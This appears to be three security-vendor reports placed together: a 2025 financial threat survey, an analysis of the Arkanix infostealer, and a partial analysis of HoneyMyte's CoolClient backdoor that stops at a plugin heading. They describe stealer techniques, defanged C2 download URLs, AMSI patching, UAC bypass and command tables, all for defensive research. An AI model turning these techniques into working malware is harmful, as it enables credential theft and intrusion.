In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

Introduction

In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.

Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.

Technical details

Background

In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.

Upon further research utilizing public resources, we identified a set of implants associated with this stealer.

Initial infection or spreading

The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.

Python loader

MD5	208fa7e01f72a50334f3d7607f6b82bf
File name	discord_nitro_code_validator_right_aligned.py

The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.

Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.

Python stealer version

MD5	af8fd03c1ec81811acf16d4182f3b5e1
File name	–

During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.

The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.

Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.

During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.

In the following, we will provide a more detailed description of the Python version’s data collection features.

System info collection

Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:

• OS version
• CPU and GPU info
• RAM size
• Screen resolution
• Keyboard layout
• Time zone
• Installed software
• Antivirus software
• VPN

Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.

Browser features

This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:

• Browser history (URLs, visit count and last visit)
• Autofill information (email, phone, addresses and payment cards details)
• Saved passwords
• Cookies
• In case of Chromium-based browsers, 0Auth2 data is also extracted

All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.

Telegram info collection

Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.

Discord capabilities

The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.

The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.

VPN data collection

The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:

• Mullvad VPN
• NordVPN
• ExpressVPN
• ProtonVPN

File retrieval

File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).

Other payloads

We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.

Module name	Endpoint to download	Details
Chrome grabber	/api/chrome-grabber-template/{payload_id}	–
Wallet patcher	/api/wallet-patcher/{payload_id}	Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed
Extra collector	/api/extra-collector/{payload_id}	Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC	/hvnc	Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot

The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.

Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).

Native version of stealer

MD5	a3fc46332dcd0a95e336f6927bae8bb7
File name	ArkanixStealer.exe

During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:

• The release version employs VMProtect, but does not utilize code virtualization.
• The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
• The debug version includes extensive logging, presumably for the authors’ debugging purposes.

Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.

After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.

Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.

RDP connections

The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.

Gaming files

The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:

• Steam
• Epic Games Launcher
• net
• Riot
• Origin
• Unreal Engine
• Ubisoft Connect
• GOG

Screenshots

The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.

Post-exploitation browser data extractor

MD5	3283f8c54a3ddf0bc0d4111cc1f950c0
File name	–

This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.

Infrastructure

During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.

Domain	IP	First seen	ASN
arkanix[.]pw	195.246.231[.]60	Oct 09, 2025	–
arkanix[.]ru	172.67.186[.]193	Oct 19, 2025	–

Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.

Stealer promotion

During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).

Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.

Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:

• C++ native stealer
• Exodus and Atomic cryptocurrency wallets injection
• Increased payload generation, up to 10 payloads
• Priority support

Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.

This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.

Conclusions

Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.

In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

File hashes
752e3eb5a9c295ee285205fb39b67fc4
c1e4be64f80bc019651f84ef852dfa6c
a8eeda4ae7db3357ed2ee0d94b963eff
c0c04df98b7d1ca9e8c08dd1ffbdd16b
88487ab7a666081721e1dd1999fb9fb2
d42ba771541893eb047a0e835bd4f84e
5f71b83ca752cb128b67dbb1832205a4
208fa7e01f72a50334f3d7607f6b82bf
e27edcdeb44522a9036f5e4cd23f1f0c
ea50282fa1269836a7e87eddb10f95f7
643696a052ea1963e24cfb0531169477
f5765930205719c2ac9d2e26c3b03d8d
576de7a075637122f47d02d4288e3dd6
7888eb4f51413d9382e2b992b667d9f5
3283f8c54a3ddf0bc0d4111cc1f950c0

Domains and IPs
arkanix[.]pw
arkanix[.]ru

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Filename	Description
Sang.exe	Legitimate Sangfor application abused for DLL sideloading.
libngs.dll	Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat	Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat	Encrypted configuration file.
main.dat	Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Parameter	Actions
No parameter	·        CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install	CoolClient decrypts time.dat. Adds new key to the Run registry for persistence mechanism. Creates a process named write.exe. Decrypts and injects loader.dat into a newly created write.exe process. Checks for service control manager (SCM) access. Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe. Installs a service named media_updaten and starts it. If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work	Creates a process named write.exe. Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac	Bypasses UAC and performs privilege elevation. Checks if the machine runs Windows 10 or a later version. Impersonates svchost.exe process by spoofing PEB information. Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter. Elevates privileges to admin by duplicating an access token from an existing elevated process.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

Magic value	Command category
CC BB AA FF	Beaconing, status update, configuration.
CD BB AA FF	Operational commands such as tunnelling, keylogging and file operations.
No magic value	Receive and execute plugin module in memory.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

Command ID	Action
0x0	Send beacon connection
0x1	Update beacon timestamp
0x2	Enumerate active user sessions
0x3	Handle incoming C2 command

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

Command ID	Action
0x0	Set up reverse tunnel connection
0x1	Send data through tunnel
0x2	Close tunnel connection
0x3	Set up reverse proxy
0x4	Shut down a specific socket
0x6	List files in a directory
0x7	Delete file
0x8	Set up keylogger
0x9	Terminate keylogger thread
0xA	Get clipboard data
0xB	Install clipboard and active windows monitor
0xC	Turn off clipboard and active windows monitor
0xD	Read and send file
0xE	Delete file

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

Command ID	Action
0x0	Enumerate services
0x1 / 0x4	Start or resume service
0x2	Stop service
0x3	Pause service
0x5	Create service
0x6	Delete service
0x7	Set service to start automatically at boot
0x8	Set service to be launched manually
0x9	Set service to disabled

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

Command ID	Action
0x0	List drives and network resources
0x1	List files in folder
0x2	Delete file or folder
0x3	Create new folder
0x4	Move file
0x5	Read file
0x6	Write data to file
0x7	Compress file or folder into ZIP archive
0x8	Execute file
0x9	Download and execute file using certutil
0xA	Search for file
0xB	Send search result
0xC	Map network drive
0xD	Set chunk size for file transfers
0xF	Bulk copy or move
0x10	Get file metadata
0x11	Set file metadata

RemoteShellS.dll – Remote shell plugin

